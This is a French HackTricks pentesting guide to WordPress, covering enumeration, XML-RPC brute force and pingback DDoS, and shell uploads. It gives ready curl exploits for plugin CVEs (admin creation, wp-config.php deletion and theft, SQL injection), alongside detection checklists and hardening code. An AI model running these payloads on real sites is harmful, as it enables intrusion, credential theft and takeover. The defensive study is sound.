Wordpress
Reading time: 27 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
-
Uploaded files go to:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Themes files can be found in /wp-content/themes/, donc si vous modifiez un php du thĂšme pour obtenir RCE vous utiliserez probablement ce chemin. Par exemple : en utilisant theme twentytwelve vous pouvez access the 404.php file in: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
Dans wp-config.php vous pouvez trouver le mot de passe root de la base de données.
-
Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Fichiers principaux de WordPress
index.php
license.txt
contient des informations utiles telles que la version de WordPress installée.wp-activate.php
est utilisĂ© pour le processus d'activation par email lors de la crĂ©ation d'un nouveau site WordPress.- Dossiers de connexion (peuvent ĂȘtre renommĂ©s pour les cacher) :
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
est un fichier représentant une fonctionnalité de WordPress qui permet de transmettre des données en utilisant HTTP comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par la WordPress REST API.- Le dossier
wp-content
est le rĂ©pertoire principal oĂč les plugins et thĂšmes sont stockĂ©s. wp-content/uploads/
est le rĂ©pertoire oĂč tous les fichiers tĂ©lĂ©versĂ©s sur la plateforme sont stockĂ©s.wp-includes/
est le rĂ©pertoire oĂč les fichiers core sont stockĂ©s, tels que les certificats, polices, fichiers JavaScript et widgets.wp-sitemap.xml
Dans les versions de WordPress 5.5 et supérieures, WordPress génÚre un fichier sitemap XML avec tous les posts publics et les types de post et taxonomies publiquement interrogeables.
Post-exploitation
- Le fichier
wp-config.php
contient les informations nécessaires à WordPress pour se connecter à la base de données comme le nom de la base de données, l'hÎte, le nom d'utilisateur et le mot de passe, les clés d'authentification et salts, et le préfixe des tables de la base de données. Ce fichier de configuration peut aussi servir à activer le mode DEBUG, utile pour le dépannage.
Permissions des utilisateurs
- Administrator
- Editor : Publie et gĂšre ses articles et ceux des autres
- Author : Publie et gĂšre ses propres articles
- Contributor : Ăcrit et gĂšre ses articles mais ne peut pas les publier
- Subscriber : Consulte les articles et peut modifier son profil
ĂnumĂ©ration passive
Obtenir la version de WordPress
Vérifiez la présence des fichiers /license.txt
ou /readme.html
Dans le code source de la page (exemple depuis [https://wordpress.org/support/article/pages/]):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- fichiers link CSS
- fichiers JavaScript
Obtenir des Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Obtenir les thĂšmes
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraire les versions en général
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
ĂnumĂ©ration active
Plugins and Themes
Vous ne pourrez probablement pas trouver tous les Plugins and Themes possibles. Pour les découvrir tous, vous devrez Brute Force activement une liste de Plugins and Themes (heureusement pour nous, il existe des outils automatisés qui contiennent ces listes).
Utilisateurs
- ID Brute: Vous obtenez des utilisateurs valides d'un site WordPress en Brute Forcing les IDs des utilisateurs :
curl -s -I -X GET http://blog.example.com/?author=1
Si les réponses sont 200 ou 30X, cela signifie que l'id est valide. Si la réponse est 400, alors l'id est invalide.
- wp-json: Vous pouvez aussi essayer d'obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users
Un autre endpoint /wp-json/
qui peut révéler certaines informations sur les utilisateurs est :
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Notez que cet endpoint n'expose que les utilisateurs qui ont publié un post. Seules les informations concernant les utilisateurs ayant cette fonctionnalité activée seront fournies.
Notez aussi que /wp-json/wp/v2/pages pourrait divulguer des adresses IP.
- Login username enumeration : Lorsque vous vous connectez via
/wp-login.php
, le message est différent selon qu'il indique si le username existe ou non.
XML-RPC
Si xml-rpc.php
est actif, vous pouvez effectuer un brute-force de credentials ou l'utiliser pour lancer des attaques DoS contre d'autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci, par exemple).
Pour vĂ©rifier s'il est actif, essayez d'accĂ©der Ă /xmlrpc.php et envoyez cette requĂȘte :
Vérifier
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce d'identifiants
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
sont quelques-unes des mĂ©thodes qui peuvent ĂȘtre utilisĂ©es pour brute-force des identifiants. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Le message "Incorrect username or password" dans une réponse avec le code 200 doit apparaßtre si les credentials ne sont pas valides.
En utilisant les credentials corrects vous pouvez upload un fichier. Dans la réponse, le path apparaßtra (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Il existe aussi une façon plus rapide de brute-forcer des identifiants en utilisant system.multicall
, car vous pouvez essayer plusieurs identifiants dans la mĂȘme requĂȘte :
.png)
Contourner la 2FA
Cette mĂ©thode est destinĂ©e aux programmes et non aux humains, et est ancienne, donc elle ne prend pas en charge la 2FA. Ainsi, si vous avez des identifiants valides mais que l'accĂšs principal est protĂ©gĂ© par la 2FA, vous pourriez ĂȘtre capable d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant la 2FA. Notez que vous ne pourrez pas effectuer toutes les actions rĂ©alisables via la console, mais vous pourriez quand mĂȘme parvenir Ă une RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.
Jetez un Ćil Ă l'utilisation de system.multicall
dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ce fichier existe généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accĂ©dĂ©, une requĂȘte MySQL "lourde" est exĂ©cutĂ©e, il peut donc ĂȘtre utilisĂ© par des attaquants pour causer un DoS.
De plus, par défaut, wp-cron.php
est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut causer des problÚmes (DoS).
Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hÎte qui exécute les actions nécessaires à intervalles réguliers (sans causer de problÚmes).
/wp-json/oembed/1.0/proxy - SSRF
Essayez d'accĂ©der Ă https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Wordpress peut effectuer une requĂȘte vers vous.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Cet outil vérifie la présence du methodName: pingback.ping et du chemin /wp-json/oembed/1.0/proxy ; s'ils existent, il tente de les exploiter.
Outils automatiques
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Obtenir l'accĂšs en modifiant un bit
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man vous pouviez inverser 1 bit d'un fichier wordpress quelconque. Ainsi, vous pouviez inverser la position 5389
du fichier /var/www/html/wp-includes/user.php
pour rendre NOP l'opération NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modification d'un php du thÚme utilisé (identifiants admin requis)
Appearance â Theme Editor â 404 Template (Ă droite)
Remplacez le contenu par un shell php :
Recherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Vous pouvez utiliser:
use exploit/unix/webapp/wp_admin_shell_upload
pour obtenir une session.
Plugin RCE
PHP plugin
Il peut ĂȘtre possible de tĂ©lĂ©verser des fichiers .php en tant que plugin.
Créez votre php backdoor en utilisant par exemple :
Then add a new plugin:
Téléversez le plugin et cliquez sur Install Now:
Click on Procced:
Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :
Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
Uploading and activating malicious plugin
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
- Plugin Acquisition: Le plugin est obtenu depuis une source comme Exploit DB, par exemple here.
- Plugin Installation:
- Allez dans le WordPress dashboard, puis dans
Dashboard > Plugins > Upload Plugin
. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Une fois le plugin installĂ© avec succĂšs, il doit ĂȘtre activĂ© via le dashboard.
- Exploitation:
- Avec le plugin "reflex-gallery" installĂ© et activĂ©, il peut ĂȘtre exploitĂ© car il est connu pour ĂȘtre vulnĂ©rable.
- Le framework Metasploit fournit un exploit pour cette vulnĂ©rabilitĂ©. En chargeant le module appropriĂ© et en exĂ©cutant des commandes spĂ©cifiques, une session meterpreter peut ĂȘtre Ă©tablie, offrant un accĂšs non autorisĂ© au site.
- Il est à noter que ceci n'est qu'une des nombreuses méthodes pour exploiter un site WordPress.
Le contenu inclut des aides visuelles montrant les Ă©tapes dans le WordPress dashboard pour installer et activer le plugin. Cependant, il est important de noter que l'exploitation de vulnĂ©rabilitĂ©s de cette maniĂšre est illĂ©gale et contraire Ă l'Ă©thique sans autorisation appropriĂ©e. Ces informations doivent ĂȘtre utilisĂ©es de maniĂšre responsable et uniquement dans un contexte lĂ©gal, comme le penetration testing avec autorisation explicite.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike est un script conçu pour escalader une vulnérabilité de Cross-Site Scripting (XSS) en Remote Code Execution (RCE) ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, voir this post. Il fournit support pour Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Crée un utilisateur dans WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Uploader votre custom plugin (backdoor) sur WordPress.
- (RCE) Built-In Plugin Edit: Modifier un Built-In Plugin dans WordPress.
- (RCE) Built-In Theme Edit: Modifier un Built-In Theme dans WordPress.
- (Custom) Custom Exploits: Custom Exploits pour des Third-Party WordPress Plugins/Themes.
Post Exploitation
Extraire les usernames et passwords :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Changer le mot de passe admin :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Surface d'attaque
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités dans son fonctionnement. Vous pouvez voir comment un plugin peut exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans this blog post.
wp_ajax
Une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des failles de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions reposent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que tout utilisateur authentifié dans l'instance Wordpress peut posséder (indépendamment de son rÎle).
Voici les fonctions qui peuvent ĂȘtre utilisĂ©es pour exposer une fonctionnalitĂ© dans un plugin :
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'utilisation de nopriv
rend l'endpoint accessible par n'importe quel utilisateur (mĂȘme les utilisateurs non authentifiĂ©s).
caution
De plus, si la fonction se contente de vérifier l'autorisation de l'utilisateur avec la fonction wp_verify_nonce
, cette derniÚre vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rÎle de l'utilisateur. Ainsi, des utilisateurs à faible privilÚge pourraient avoir accÚs à des actions à privilÚges élevés.
- REST API
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API à l'aide de la fonction register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback
est une fonction de rappel qui vérifie si un utilisateur donné est autorisé à appeler la méthode API.
Si la fonction intégrée __return_true
est utilisée, elle contournera simplement la vérification des permissions utilisateur.
- AccĂšs direct au fichier php
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, elle sera exploitable par n'importe quel utilisateur.
Trusted-header REST impersonation (WooCommerce Payments †5.6.1)
Certains plugins implĂ©mentent des raccourcis de âtrusted headerâ pour des intĂ©grations internes ou des reverse proxies, puis utilisent cet en-tĂȘte pour dĂ©finir le contexte utilisateur courant pour les requĂȘtes REST. Si l'en-tĂȘte n'est pas liĂ© cryptographiquement Ă la requĂȘte par un composant en amont, un attaquant peut le falsifier et appeler des routes REST privilĂ©giĂ©es en tant qu'administrateur.
- Impact : escalation de privilÚges non authentifiée vers administrateur en créant un nouvel administrateur via la route core users REST.
- Exemple d'en-tĂȘte :
X-Wcpay-Platform-Checkout-User: 1
(force l'ID utilisateur 1, typiquement le premier compte administrateur). - Route exploitée :
POST /wp-json/wp/v2/users
avec un tableau de rÎle élevé.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Pourquoi ça fonctionne
- Le plugin mappe un header contrÎlé par le client à l'état d'authentification et esquive les vérifications de capability.
- WordPress core attend la capability
create_users
pour cette route ; le contournement du plugin l'évite en définissant directement le contexte de l'utilisateur courant depuis le header.
Indicateurs de réussite attendus
- HTTP 201 avec un body JSON décrivant l'utilisateur créé.
- Un nouvel utilisateur admin visible dans
wp-admin/users.php
.
Checklist de détection
- Grep pour
getallheaders()
,$_SERVER['HTTP_...']
, ou des SDK tiers qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex.wp_set_current_user()
,wp_set_auth_cookie()
). - Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de
permission_callback
robuste et qui s'appuient Ă la place sur les headers de la requĂȘte. - Chercher des usages des fonctions core de gestion d'utilisateurs (
wp_insert_user
,wp_create_user
) à l'intérieur de handlers REST qui sont protégés uniquement par des valeurs de header.
Durcissement
- Ne jamais déduire l'authentification ou l'autorisation à partir de headers contrÎlés par le client.
- Si un reverse proxy doit injecter une identité, terminer la confiance au niveau du proxy et supprimer les copies entrantes (par ex.
unset X-Wcpay-Platform-Checkout-User
en bordure), puis transmettre un token signé et le vérifier cÎté serveur. - Pour les routes REST effectuant des actions privilégiées, exiger des vérifications
current_user_can()
et unpermission_callback
strict (ne PAS utiliser__return_true
). - PrĂ©fĂ©rer une auth first-party (cookies, application passwords, OAuth) plutĂŽt que lâ« impersonation » via headers.
Références : voir les liens à la fin de cette page pour un cas public et une analyse plus large.
Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_
and wp_ajax_nopriv_
hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:
- A capability check (e.g.
current_user_can()
or at leastis_user_logged_in()
), and - A CSRF nonce validated with
check_ajax_referer()
/wp_verify_nonce()
, and - Strict input sanitisation / validation.
Le Litho multipurpose theme (< 3.1) a oublié ces 3 contrÎles dans la fonctionnalité Remove Font Family et a fini par livrer le code suivant (simplifié) :
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Issues introduced by this snippet:
- AccĂšs non authentifiĂ© â le hook
wp_ajax_nopriv_
est enregistrĂ©. - Pas de vĂ©rification de nonce / capability â n'importe quel visiteur peut atteindre l'endpoint.
- Pas de sanitisation du chemin â la chaĂźne contrĂŽlĂ©e par l'utilisateur
fontfamily
est concaténée à un chemin du systÚme de fichiers sans filtrage, permettant le classique parcours../../
.
Exploitation
Un attaquant peut supprimer n'importe quel fichier ou répertoire sous le répertoire de base uploads (normalement <wp-root>/wp-content/uploads/
) en envoyant une seule HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Parce que wp-config.php
se trouve en dehors du répertoire uploads, quatre séquences ../
suffisent sur une installation par défaut. La suppression de wp-config.php
force WordPress à lancer le assistant d'installation lors de la visite suivante, permettant une prise de contrÎle complÚte du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
D'autres cibles ayant un fort impact incluent les fichiers .php
de plugin/theme (pour neutraliser les plugins de sécurité) ou les rÚgles .htaccess
.
Checklist de détection
- Tout callback
add_action( 'wp_ajax_nopriv_...')
qui appelle des helpers systĂšme de fichiers (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concatenation d'entrées utilisateur non assainies dans des chemins (chercher
$_POST
,$_GET
,$_REQUEST
). - Absence de
check_ajax_referer()
et decurrent_user_can()
/is_user_logged_in()
.
Durcissement
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// ⊠proceed âŠ
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// đ NO wp_ajax_nopriv_ registration
tip
Toujours considérer toute opération d'écriture/suppression sur le disque comme privilégiée et vérifier à nouveau :
âą Authentication âą Authorisation âą Nonce âą Input sanitisation âą Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
De nombreux plugins implĂ©mentent une fonctionnalitĂ© "view as role" ou un changement temporaire de rĂŽle en sauvegardant le(s) rĂŽle(s) original(aux) dans user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration ne s'appuie que sur des paramĂštres de requĂȘte (par ex., $_REQUEST['reset-for']
) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une vertical privilege escalation.
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (†7.6.2.1). La branche de reset restaurait les rÎles basée sur reset-for=<username>
si le nom d'utilisateur apparaissait dans un tableau interne $options['viewing_admin_as_role_are']
, mais n'effectuait ni un contrĂŽle current_user_can()
ni une vérification du nonce avant de supprimer les rÎles actuels et de ré-ajouter les rÎles sauvegardés dans le user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Pourquoi c'est exploitable
- Fait confiance Ă
$_REQUEST['reset-for']
et à une option du plugin sans autorisation cÎté serveur. - Si un utilisateur avait auparavant des privilÚges plus élevés sauvegardés dans
_asenha_view_admin_as_original_roles
et a été rétrogradé, il peut les restaurer en accédant au reset path. - Dans certaines configurations, tout utilisateur authentifié peut déclencher un reset pour un autre nom d'utilisateur encore présent dans
viewing_admin_as_role_are
(autorisation cassée).
Prérequis de l'attaque
- Version vulnérable du plugin avec la fonctionnalité activée.
- Le compte cible a un rÎle à privilÚges élevés obsolÚte stocké dans user meta depuis une utilisation antérieure.
- N'importe quelle session authentifiée ; absence de nonce/capability dans le reset flow.
Exploitation (exemple)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Sur les versions vulnérables, cela supprime les rÎles actuels et réajoute les rÎles originaux sauvegardés (par ex., administrator
), escaladant ainsi les privilĂšges.
Detection checklist
- Recherchez des fonctionnalitĂ©s de changement de rĂŽle qui conservent âoriginal rolesâ dans les user meta (e.g.,
_asenha_view_admin_as_original_roles
). - Identifiez les chemins de reset/restore qui :
- Lisent les noms d'utilisateur depuis
$_REQUEST
/$_GET
/$_POST
. - Modifient les rĂŽles via
add_role()
/remove_role()
sanscurrent_user_can()
etwp_verify_nonce()
/check_admin_referer()
. - Autorisent en se basant sur un tableau d'options du plugin (e.g.,
viewing_admin_as_role_are
) au lieu des capacités de l'acteur.
Durcissement
- Appliquez des vérifications de capacités sur chaque branche modifiant l'état (e.g.,
current_user_can('manage_options')
ou plus strict). - Exigez des nonces pour toutes les mutations de rÎle/permission et vérifiez-les :
check_admin_referer()
/wp_verify_nonce()
. - Ne faites jamais confiance aux noms d'utilisateur fournis dans la requĂȘte ; rĂ©solvez l'utilisateur cible cĂŽtĂ© serveur en fonction de l'acteur authentifiĂ© et d'une politique explicite.
- Invalidez l'Ă©tat des âoriginal rolesâ lors des mises Ă jour de profil/role pour Ă©viter la restauration de privilĂšges Ă©levĂ©s obsolĂštes :
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Envisagez de stocker un état minimal et d'utiliser des tokens limités dans le temps et protégés par des capabilities pour des changements de rÎle temporaires.
Considérations WAF pour WordPress/plugin CVEs
Les WAFs génériques edge/serveur sont réglés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs de logique applicative/auth qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
Notes offensives
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres :
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Testez d'abord les chemins unauth (AJAX
nopriv
, REST avecpermission_callback
permissif, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation. - Cas typiques à fort impact : escalade de privilÚges (broken access control), upload/download de fichiers arbitraires, LFI, open redirect.
Notes défensives
- Ne comptez pas sur des signatures WAF génériques pour protéger les plugin CVEs. Implémentez des virtual patches spécifiques aux vulnérabilités au niveau applicatif ou mettez à jour rapidement.
- Privilégiez des contrÎles de sécurité en mode positif dans le code (capabilities, nonces, strict input validation) plutÎt que des filtres regex négatifs.
Protection WordPress
Mises à jour réguliÚres
Assurez-vous que WordPress, les plugins et les thÚmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Aussi, n'installez que des plugins et thĂšmes WordPress de confiance.
Plugins de sécurité
Autres recommandations
- Supprimez l'utilisateur par défaut admin
- Utilisez des mots de passe forts et la 2FA
- Vérifiez périodiquement les autorisations des utilisateurs
- Limitez les tentatives de connexion pour prévenir les attaques par Brute Force
- Renommez le fichier
wp-admin.php
et n'autorisez l'accĂšs qu'en interne ou depuis certaines adresses IP.
Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Le plugin de recrutement WP Job Portal exposait une tùche savecategory qui exécute finalement le code vulnérable suivant dans modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat â
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
ProblĂšmes introduits par cet extrait :
- EntrĂ©e utilisateur non assainie â
parentid
provient directement de la requĂȘte HTTP. - ConcatĂ©nation de chaĂźnes dans la clause WHERE â pas de
is_numeric()
/esc_sql()
/ requĂȘte prĂ©parĂ©e. - AccĂšs non authentifiĂ© â bien que l'action soit exĂ©cutĂ©e via
admin-post.php
, la seule vérification en place est un CSRF nonce (wp_verify_nonce()
), que n'importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode[wpjobportal_my_resumes]
.
Exploitation
- Récupérer un nonce récent :
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injecter du SQL arbitraire en abusant de
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La rĂ©ponse divulgue le rĂ©sultat de la requĂȘte injectĂ©e ou modifie la base de donnĂ©es, prouvant une SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Une autre tùche, downloadcustomfile, permettait aux visiteurs de télécharger n'importe quel fichier sur le disque via path traversal. Le sink vulnérable se trouve dans modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
est contrĂŽlĂ© par l'attaquant et concatĂ©nĂ© sans sanitisation. Encore une fois, la seule barriĂšre est un CSRF nonce qui peut ĂȘtre rĂ©cupĂ©rĂ© depuis la page de CV.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Le serveur renvoie le contenu de wp-config.php
, leaking DB credentials and auth keys.
Références
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset â delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments †5.6.1 â Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
